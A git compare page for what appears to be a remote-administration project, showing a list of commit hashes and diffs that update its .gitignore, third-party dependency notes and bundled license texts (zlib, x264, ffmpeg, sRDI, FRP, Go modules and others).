Compare commits
185
Commits
v1.3.7
...
46f4bf2dfb
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
46f4bf2dfb | ||
|
|
50a489e316 | ||
|
|
99db28e2e2 | ||
|
|
cc891e3670 | ||
|
|
d4f312c9d8 | ||
|
|
de621aa555 | ||
|
|
82f59b2469 | ||
|
|
1d875ddbd1 | ||
|
|
dcb5ae25c6 | ||
|
|
56a937fabb | ||
|
|
dc4fd792f6 | ||
|
|
5bff9df3fc | ||
|
|
45e1dd9f6c | ||
|
|
13c02fe50b | ||
|
|
cd10d0cc1b | ||
|
|
1c832ff7f2 | ||
|
|
3d388f8e45 | ||
|
|
27b5431130 | ||
|
|
bb55f52b29 | ||
|
|
4a3cded174 | ||
|
|
106ac2ff0f | ||
|
|
6bfa4294cc | ||
|
|
c11df75225 | ||
|
|
4d2abf34d0 | ||
|
|
3a158a241c | ||
|
|
4146c73657 | ||
|
|
4c0e86dcc5 | ||
|
|
bfb17d0d25 | ||
|
|
6236ed1eb4 | ||
|
|
c271911fcb | ||
|
|
27d40f5678 | ||
|
|
a7dd86ff0f | ||
|
|
b4cb34fea9 | ||
|
|
1456882f16 | ||
|
|
3b1626f415 | ||
|
|
315a0855dc | ||
|
|
eaa10cc7d3 | ||
|
|
1c5fab1645 | ||
|
|
cc3e11d30d | ||
|
|
7c5bf3e73d | ||
|
|
929065e7be | ||
|
|
5ce453797c | ||
|
|
ae37e812ee | ||
|
|
d9a1a9ebcb | ||
|
|
16f23e164c | ||
|
|
39f0928de7 | ||
|
|
8f718d9b39 | ||
|
|
abe7e99a77 | ||
|
|
ac5b174b5f | ||
|
|
cc0e4bbd7a | ||
|
|
73aa2725b9 | ||
|
|
37d0297f07 | ||
|
|
7160ea8f42 | ||
|
|
434812f87d | ||
|
|
c99a1c375e | ||
|
|
fff7c67af6 | ||
|
|
3ae6298746 | ||
|
|
38cd207f5d | ||
|
|
6c8336b497 | ||
|
|
c208b7368e | ||
|
|
15a50db0a7 | ||
|
|
ca35e6e26f | ||
|
|
679136e73e | ||
|
|
b637c94e24 | ||
|
|
f76cd79bb0 | ||
|
|
39c8daa9b0 | ||
|
|
cd4f3675fd | ||
|
|
bbb3d8c2fa | ||
|
|
ca671d6453 | ||
|
|
a522424491 | ||
|
|
b1ddec1b8a | ||
|
|
1922f87dd2 | ||
|
|
8eab26c1f6 | ||
|
|
04f4eb9947 | ||
|
|
5cea1167be | ||
|
|
0c04f7516b | ||
|
|
e6b4fe3a85 | ||
|
|
d3a339247b | ||
|
|
33986f4893 | ||
|
|
e5f5720867 | ||
|
|
d7b49a3d06 | ||
|
|
c85039ea0a | ||
|
|
a447452521 | ||
|
|
614b03994c | ||
|
|
99e3bcbc6d | ||
|
|
8f02e73b9c | ||
|
|
7651ee8602 | ||
|
|
4ff965a2b4 | ||
|
|
77b688c981 | ||
|
|
c93f09e9ac | ||
|
|
96b9eea70a | ||
|
|
ca0d7626d2 | ||
|
|
8d4c118ae6 | ||
|
|
d477cbfee9 | ||
|
|
870a5832ea | ||
|
|
8e0f1283c6 | ||
|
|
2de21b2b6b | ||
|
|
53b7151fb7 | ||
|
|
d2149851b2 | ||
|
|
ca6f76565c | ||
|
|
d15cd77a28 | ||
|
|
1a9312d2d1 | ||
|
|
f3a8406050 | ||
|
|
ff6b290580 | ||
|
|
da0ec983ba | ||
|
|
6220335f63 | ||
|
|
c7f7b7b29b | ||
|
|
59fead7b5f | ||
|
|
b89428bf35 | ||
|
|
3928dd76a3 | ||
|
|
d80d8f21da | ||
|
|
d269df9171 | ||
|
|
2fb6252285 | ||
|
|
2c3e1ca518 | ||
|
|
f72fda9b71 | ||
|
|
c906a46bcc | ||
|
|
6c9fef8793 | ||
|
|
bbdb4104bf | ||
|
|
8d0f419093 | ||
|
|
f3a05c14b1 | ||
|
|
d118558eda | ||
|
|
76decec0fe | ||
|
|
9eed43bc8d | ||
|
|
a72e6eb391 | ||
|
|
e9d60e6e23 | ||
|
|
42df128f62 | ||
|
|
32cc7af371 | ||
|
|
033ff077ef | ||
|
|
0416dadbba | ||
|
|
91238da50d | ||
|
|
221617fe02 | ||
|
|
dd845823b6 | ||
|
|
b41b27bfe4 | ||
|
|
6bcd593b6d | ||
|
|
5c77f5ce14 | ||
|
|
ac2855198b | ||
|
|
52b4afb8cf | ||
|
|
35dc2d89a0 | ||
|
|
d99122b25f | ||
|
|
d55d40e7a2 | ||
|
|
25a6e2d07a | ||
|
|
18259b8526 | ||
|
|
f04d892ac8 | ||
|
|
c844ba7614 | ||
|
|
09018e2b4d | ||
|
|
6045baadb8 | ||
|
|
84e3565de1 | ||
|
|
70dbb6b255 | ||
|
|
0ddbc1aced | ||
|
|
8bd6f3b60a | ||
|
|
8815c4f896 | ||
|
|
8de5c00a39 | ||
|
|
d359148841 | ||
|
|
11e8b122fe | ||
|
|
0a1ecfc4ab | ||
|
|
c08315cd79 | ||
|
|
5611ba621c | ||
|
|
c6c6e1d5ef | ||
|
|
61089e5fae | ||
|
|
bcde74368d | ||
|
|
6ba6b0289d | ||
|
|
86c4f14cf4 | ||
|
|
13052b7cae | ||
|
|
43398e405e | ||
|
|
29929e48b2 | ||
|
|
d0bad75284 | ||
|
|
9d2e9ec8ca | ||
|
|
2d7f224a22 | ||
|
|
c8973282cb | ||
|
|
7bbc47a0ee | ||
|
|
eeacbe5d61 | ||
|
|
7c09e9dd8c | ||
|
|
d99510e46d | ||
|
|
b97f086c0c | ||
|
|
f24e7acc48 | ||
|
|
0cd7516bde | ||
|
|
a646e0417d | ||
|
|
23c9a4f242 | ||
|
|
85a5774a0f | ||
|
|
f2a95848ce | ||
|
|
f146af121a | ||
|
|
72dcdc5a6f | ||
|
|
8e170cf971 | ||
|
|
6d0b1bb07b | ||
|
|
bcccbefb77 |
No files matched your search
@@ -93,6 +93,7 @@ Bin/*
|
||||
nul
|
||||
server/go/web/assets/index.html
|
||||
server/go/users.json
|
||||
server/go/devices.json
|
||||
server/go/build/
|
||||
server/go/.claude/settings.json
|
||||
android/app/.cxx/
|
||||
+85
-8
@@ -2,28 +2,105 @@
|
||||
|
||||
## compress
|
||||
|
||||
Prebuilt binaries under `compress/`, linked via `#pragma comment(lib, ...)`.
|
||||
|
||||
- [zlib v1.3.2](https://zlib.net)
|
||||
- [zstd v1.5.7](https://github.com/facebook/zstd/tree/v1.5.7)
|
||||
- [x264 v0.164.3194](https://github.com/corecodec/x264)
|
||||
- [x264 v0.164.3194](https://github.com/corecodec/x264) — GPL-2.0, see note below
|
||||
- [libyuv v190](https://chromium.googlesource.com/libyuv/libyuv)
|
||||
- [ffmpeg 7.1](https://git.ffmpeg.org/ffmpeg.git)
|
||||
- [ffmpeg 7.1](https://git.ffmpeg.org/ffmpeg.git) — LGPL-2.1, linked statically, see note below
|
||||
- [jsoncpp v1.9.6](https://github.com/open-source-parsers/jsoncpp)
|
||||
- [jpeg v3.1.1](https://github.com/libjpeg-turbo/libjpeg-turbo)
|
||||
- [opus-1.6.1](https://opus-codec.org/release/stable/2026/01/14/libopus-1_6_1.html)
|
||||
- [libpeconv c7d1e48](https://github.com/hasherezade/libpeconv)
|
||||
- [libvpl v2.16.0](https://github.com/intel/libvpl)
|
||||
- [dav1d 62501cc](https://github.com/videolan/dav1d)
|
||||
- [libpeconv c7d1e48](https://github.com/hasherezade/libpeconv) — `server/2015Remote/libpeconv/`
|
||||
- [libvpl v2.16.0](https://github.com/intel/libvpl) — `compress/ffmpeg/vpl_x64*.lib`
|
||||
- [dav1d 62501cc](https://github.com/videolan/dav1d) — `compress/ffmpeg/dav1d_x64.lib`
|
||||
|
||||
## execution
|
||||
|
||||
- [MemoryModule](https://github.com/fancycode/MemoryModule.git)
|
||||
- [MemoryModule](https://github.com/fancycode/MemoryModule.git) — `client/MemoryModule.c`
|
||||
- [sRDI](https://github.com/Drewsif/sRDI.git)
|
||||
- [pe_to_shellcode](https://github.com/hasherezade/pe_to_shellcode.git)
|
||||
|
||||
## vendored source
|
||||
|
||||
Single-file libraries compiled into the product as source.
|
||||
|
||||
- [KCP (ikcp)](https://github.com/skywind3000/kcp) — `common/ikcp.c`, `common/ikcp.h`
|
||||
- [xxHash v0.8.3](https://github.com/Cyan4973/xxHash) — `common/xxhash.h`
|
||||
- [tiny-AES-c](https://github.com/kokke/tiny-AES-c) — `common/aes.c`, `common/aes.h`
|
||||
- [skCrypter](https://github.com/skadro-official/skCrypter) — `common/skCrypter.h`
|
||||
- [cpp-httplib v0.14.3](https://github.com/yhirose/cpp-httplib) — `server/2015Remote/httplib.h`
|
||||
|
||||
## runtime / data
|
||||
|
||||
Shipped with the product or linked by the Linux/macOS builds.
|
||||
|
||||
- [OpenSSL](https://github.com/openssl/openssl) — Linux/macOS client TLS (`client/TlsChannelLinux.cpp`) and `libsign.a` HMAC; version follows the system/package OpenSSL 3.x
|
||||
- [FRP (frpc / frps) v0.69.2-0.20260605064132-d58c00d0332c](https://github.com/fatedier/frp) — `Bin/res/frpc.dll`, `Bin/res/frps.dll`
|
||||
- [ip2region (xdb v4)](https://github.com/lionsoul2014/ip2region) — `Bin/ip2region_v4.xdb`
|
||||
- [QQWry / 纯真 IP 库](https://www.cz88.net/) — `Bin/qqwry.dat`
|
||||
- Microsoft DirectX SDK headers — `client/d3d/`, included by `client/dxtrans.h` for legacy D3D texture formats; used under the DirectX SDK EULA, not open source
|
||||
|
||||
## server-go
|
||||
|
||||
`server/go/`, shipped as `Bin/YAMAGo_x64.exe`.
|
||||
|
||||
- [github.com/golang-jwt/jwt/v5 v5.3.1](https://github.com/golang-jwt/jwt)
|
||||
- [github.com/gorilla/websocket v1.5.3](https://github.com/gorilla/websocket)
|
||||
- [github.com/klauspost/compress v1.18.2](https://github.com/klauspost/compress)
|
||||
- [github.com/rs/zerolog v1.34.0](https://github.com/rs/zerolog)
|
||||
- [golang.org/x/sync v0.20.0](https://pkg.go.dev/golang.org/x/sync)
|
||||
- [golang.org/x/text v0.32.0](https://pkg.go.dev/golang.org/x/text)
|
||||
- [gopkg.in/natefinch/lumberjack.v2 v2.2.1](https://github.com/natefinch/lumberjack)
|
||||
- indirect: [mattn/go-colorable v0.1.13](https://github.com/mattn/go-colorable), [mattn/go-isatty v0.0.19](https://github.com/mattn/go-isatty), [golang.org/x/sys v0.12.0](https://pkg.go.dev/golang.org/x/sys)
|
||||
|
||||
## android
|
||||
|
||||
`android/`, shipped as `Bin/ghost.apk`.
|
||||
|
||||
- [androidx.core:core-ktx 1.13.1](https://developer.android.com/jetpack/androidx/releases/core)
|
||||
- [androidx.appcompat:appcompat 1.7.0](https://developer.android.com/jetpack/androidx/releases/appcompat)
|
||||
- [Kotlin standard library 2.1.21](https://kotlinlang.org/)
|
||||
|
||||
## test
|
||||
|
||||
Build/test only, not shipped.
|
||||
|
||||
- [GoogleTest v1.14.0](https://github.com/google/googletest) — fetched via CMake `FetchContent`
|
||||
|
||||
## *Note*
|
||||
|
||||
The proper operation of the program depends on the above library files.
|
||||
The proper operation of the program depends on the above library files.
|
||||
Some libraries are not open source, please contact author for details.
|
||||
|
||||
These libraries are all compiled personally by the author and can be used with confidence.
|
||||
These libraries are all compiled personally by the author and can be used with confidence.
|
||||
If you use libraries from other sources, there may be compilation risks.
|
||||
|
||||
### Private libraries (not third-party)
|
||||
|
||||
`lib/` ships `FileUpload_Lib`, `PrivateDesktop_Lib` and `shrink` as prebuilt
|
||||
binaries; `linux/lib/libsign.a`, `macos/lib/libsign.a` and
|
||||
`android/.../lib/<abi>/libsign.a` are likewise the author's own. They are part
|
||||
of the multi-layer licensing architecture and are **not** covered by the
|
||||
open-source notices above.
|
||||
|
||||
### GPL note
|
||||
|
||||
`x264` is GPL-2.0 and `ffmpeg` is LGPL-2.1; both are linked **statically** on
|
||||
Windows. `common/config.h` exposes `DISABLE_X264_FOR_TEST` and
|
||||
`DISABLE_FFMPEG_FOR_TEST` (both default `0`, i.e. enabled) to build without
|
||||
them. With `DISABLE_X264_FOR_TEST=1` neither the x264 library nor its headers
|
||||
are needed — the whole `compress/x264/` directory can be deleted. The same
|
||||
holds for `DISABLE_FFMPEG_FOR_TEST=1` and `compress/ffmpeg/`.
|
||||
|
||||
Binaries that include x264 are subject to GPL-2.0 unless covered by a
|
||||
commercial x264 license.
|
||||
|
||||
**Important:** the bundled FFmpeg is a decode-only build (`--disable-encoders`,
|
||||
see the configure line in `LICENSE-THIRD-PARTY.txt` section 19), so it provides
|
||||
no encoder. x264 is therefore the product's *only* H.264 encoder, and
|
||||
`DISABLE_X264_FOR_TEST=1` means no H.264 at all — the client falls back to raw
|
||||
RGB565 frames. Keeping H.264 while staying GPL-free needs a different encoder
|
||||
or a commercial x264 license. See `LICENSE-THIRD-PARTY.txt` for the full text
|
||||
and the obligations that come with static LGPL linking.
|
||||
+403
-25
@@ -1,15 +1,15 @@
|
||||
THIRD-PARTY SOFTWARE NOTICES AND LICENSES
|
||||
|
||||
This document contains intellectual property notices and license information for
|
||||
This document contains intellectual property notices and license information for
|
||||
third-party software components used in this product.
|
||||
|
||||
================================================================================
|
||||
SUMMARY OF LICENSE TYPES
|
||||
================================================================================
|
||||
The third-party components included in this software are governed by the following
|
||||
open-source licenses. For complete compliance, ensure that any modifications to
|
||||
LGPL and MPL covered components are made available under their respective terms,
|
||||
and this text file is distributed with your software product.
|
||||
The third-party components included in this software are governed by the following
|
||||
open-source licenses. For complete compliance, ensure that any modifications to
|
||||
LGPL, MPL and GPL covered components are made available under their respective
|
||||
terms, and this text file is distributed with your software product.
|
||||
|
||||
1. Zlib License
|
||||
- zlib v1.3.2
|
||||
@@ -18,16 +18,47 @@ and this text file is distributed with your software product.
|
||||
- libyuv v190
|
||||
- jpeg (libjpeg-turbo) v3.1.1
|
||||
- opus-1.6.1
|
||||
- GoogleTest v1.14.0
|
||||
- github.com/klauspost/compress v1.18.2
|
||||
- golang.org/x/sync, golang.org/x/text, golang.org/x/sys
|
||||
3. BSD 2-Clause License
|
||||
- libpeconv c7d1e48
|
||||
- pe_to_shellcode
|
||||
- dav1d 62501cc
|
||||
- xxHash v0.8.3
|
||||
- github.com/gorilla/websocket v1.5.3
|
||||
4. MIT License
|
||||
- jsoncpp v1.9.6
|
||||
- sRDI
|
||||
5. GNU Lesser General Public License v2.1 (LGPL v2.1)
|
||||
- ffmpeg v7.1 (Compiled in shared, non-GPL mode)
|
||||
6. Mozilla Public License v2.0 (MPL 2.0)
|
||||
- libvpl v2.16.0
|
||||
- KCP (ikcp)
|
||||
- skCrypter
|
||||
- cpp-httplib v0.14.3
|
||||
- github.com/golang-jwt/jwt/v5 v5.3.1
|
||||
- github.com/rs/zerolog v1.34.0
|
||||
- gopkg.in/natefinch/lumberjack.v2 v2.2.1
|
||||
- github.com/mattn/go-colorable v0.1.13
|
||||
- github.com/mattn/go-isatty v0.0.19
|
||||
5. The Unlicense (public domain dedication)
|
||||
- tiny-AES-c
|
||||
6. Apache License 2.0
|
||||
- OpenSSL (Linux / macOS builds only)
|
||||
- FRP (frpc.dll / frps.dll)
|
||||
- ip2region (xdb v4)
|
||||
- androidx.core:core-ktx 1.13.1
|
||||
- androidx.appcompat:appcompat 1.7.0
|
||||
- Kotlin standard library 2.1.21
|
||||
7. GNU Lesser General Public License v2.1 (LGPL v2.1)
|
||||
- ffmpeg v7.1 (statically linked, non-GPL build)
|
||||
8. Mozilla Public License v2.0 (MPL 2.0)
|
||||
- MemoryModule
|
||||
9. GNU General Public License v2.0 (GPL v2.0)
|
||||
- x264 v0.164.3194 (Windows builds only, opt-out available)
|
||||
10. Custom terms
|
||||
- QQWry / 纯真 IP database (qqwry.dat)
|
||||
|
||||
IMPORTANT: items 7 and 9 carry copyleft obligations. See the corresponding
|
||||
sections at the end of this file before distributing a build.
|
||||
|
||||
================================================================================
|
||||
1. zlib v1.3.2 (Zlib License)
|
||||
@@ -217,7 +248,7 @@ The above copyright notice and this permission notice shall be included in
|
||||
all copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY,
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
@@ -240,7 +271,7 @@ The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY,
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
@@ -248,32 +279,379 @@ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
|
||||
================================================================================
|
||||
9. ffmpeg v7.1 (GNU Lesser General Public License v2.1)
|
||||
9. libvpl v2.16.0 (MIT License)
|
||||
================================================================================
|
||||
This software uses libraries from the FFmpeg project (v7.1), licensed under the
|
||||
Copyright (c) 2021 Intel Corporation
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
|
||||
================================================================================
|
||||
10. dav1d 62501cc (BSD 2-Clause License)
|
||||
================================================================================
|
||||
Copyright (c) 2018-2024, VideoLAN and dav1d authors
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are met:
|
||||
|
||||
1. Redistributions of source code must retain the above copyright notice, this
|
||||
list of conditions and the following disclaimer.
|
||||
|
||||
2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
|
||||
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
||||
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
|
||||
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
|
||||
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
================================================================================
|
||||
11. xxHash v0.8.3 (BSD 2-Clause License)
|
||||
================================================================================
|
||||
Copyright (c) 2012-2023 Yann Collet
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification,
|
||||
are permitted provided that the following conditions are met:
|
||||
|
||||
1. Redistributions of source code must retain the above copyright notice, this
|
||||
list of conditions and the following disclaimer.
|
||||
|
||||
2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
|
||||
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
||||
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
|
||||
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
|
||||
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
================================================================================
|
||||
12. KCP / ikcp (MIT License)
|
||||
================================================================================
|
||||
Copyright (c) 2010-2011 skywind3000 (at) gmail.com
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
|
||||
================================================================================
|
||||
13. skCrypter (MIT License)
|
||||
================================================================================
|
||||
Copyright (c) 2020 skadro
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
|
||||
================================================================================
|
||||
14. cpp-httplib v0.14.3 (MIT License)
|
||||
================================================================================
|
||||
Copyright (c) 2023 Yuji Hirose. All rights reserved.
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
|
||||
================================================================================
|
||||
15. tiny-AES-c (The Unlicense)
|
||||
================================================================================
|
||||
This is free and unencumbered software released into the public domain.
|
||||
|
||||
Anyone is free to copy, modify, publish, use, compile, sell, or distribute this
|
||||
software, either in source code form or as a compiled binary, for any purpose,
|
||||
commercial or non-commercial, and by any means.
|
||||
|
||||
In jurisdictions that recognize copyright laws, the author or authors of this
|
||||
software dedicate any and all copyright interest in the software to the public
|
||||
domain. We make this dedication for the benefit of the public at large and to
|
||||
the detriment of our heirs and successors. We intend this dedication to be an
|
||||
overt act of relinquishment in perpetuity of all present and future rights to
|
||||
this software under copyright law.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
|
||||
ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
|
||||
WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
||||
|
||||
For more information, please refer to <http://unlicense.org/>
|
||||
|
||||
================================================================================
|
||||
16. Go module dependencies (MIT / BSD)
|
||||
================================================================================
|
||||
The Go server (server/go, shipped as YAMAGo_x64.exe) depends on the following
|
||||
modules. Each is distributed under the license noted next to it; the full text
|
||||
of each license is available in the corresponding module repository.
|
||||
|
||||
github.com/golang-jwt/jwt/v5 v5.3.1 MIT
|
||||
github.com/gorilla/websocket v1.5.3 BSD 2-Clause
|
||||
github.com/klauspost/compress v1.18.2 BSD 3-Clause
|
||||
github.com/rs/zerolog v1.34.0 MIT
|
||||
golang.org/x/sync v0.20.0 BSD 3-Clause
|
||||
golang.org/x/text v0.32.0 BSD 3-Clause
|
||||
gopkg.in/natefinch/lumberjack.v2 v2.2.1 MIT
|
||||
github.com/mattn/go-colorable v0.1.13 MIT (indirect)
|
||||
github.com/mattn/go-isatty v0.0.19 MIT (indirect)
|
||||
golang.org/x/sys v0.12.0 BSD 3-Clause (indirect)
|
||||
|
||||
MIT License text: see section 7 above.
|
||||
BSD 2-Clause License text: see section 6 above.
|
||||
BSD 3-Clause License text: see section 2 above.
|
||||
|
||||
================================================================================
|
||||
17. GoogleTest v1.14.0 (BSD 3-Clause License)
|
||||
================================================================================
|
||||
Copyright 2008, Google Inc. All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright notice, this
|
||||
list of conditions and the following disclaimer.
|
||||
* Redistributions in binary form must reproduce the above copyright notice,
|
||||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
* Neither the name of Google Inc. nor the names of its contributors may be
|
||||
used to endorse or promote products derived from this software without
|
||||
specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
|
||||
